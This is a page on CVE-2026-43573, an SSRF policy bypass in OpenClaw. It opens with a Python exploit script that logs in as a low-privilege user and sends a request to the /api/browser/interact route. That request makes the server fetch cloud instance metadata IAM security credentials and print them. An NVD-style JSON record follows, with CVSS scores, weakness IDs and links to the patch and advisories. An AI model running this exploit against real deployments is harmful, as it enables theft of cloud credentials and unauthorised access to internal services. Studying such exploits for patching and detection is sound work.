CVE-2026-43573

import requests # Exploit for CVE-2026-43573: OpenClaw SSRF Policy Bypass # Description: Bypasses SSRF guards by utilizing existing-session browser interaction routes. target_host = "http://vulnerable-openclaw-instance.com" attacker_controlled_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # 1. Establish a session (Low privilege required) session = requests.Session() login_data = {"username": "low_priv_user", "password": "password"} session.post(f"{target_host}/api/login", data=login_data) # 2. Prepare the payload using the vulnerable interaction route # The vulnerability lies in /api/browser/interact which reuses existing sessions # and fails to enforce navigation policies on the target URL. payload = { "url": attacker_controlled_url, "method": "GET", "session_id": session.cookies.get_dict().get('session_id') } # 3. Send the exploit request try: response = session.post(f"{target_host}/api/browser/interact", json=payload) if response.status_code == 200: print("[+] SSRF Policy Bypass Successful!") print("[+] Internal Resource Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-43573", "sourceIdentifier": "[email protected]", "published": "2026-05-05T12:16:21.163", "lastModified": "2026-05-07T17:03:34.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.10 contains a server-side request forgery policy bypass vulnerability in existing-session browser interaction routes. Attackers can bypass SSRF navigation guards to interact with or navigate to unauthorized targets without policy enforcement."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}, {"lang": "en", "value": "CWE-918"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.10", "matchCriteriaId": "5B7C767E-3450-421C-BD9F-9CE0D760A0E5"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/daeb74920d5ad986cb600625180037e23221e93a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-527m-976r-jf79", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-ssrf-policy-bypass-in-existing-session-browser-interaction-routes", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}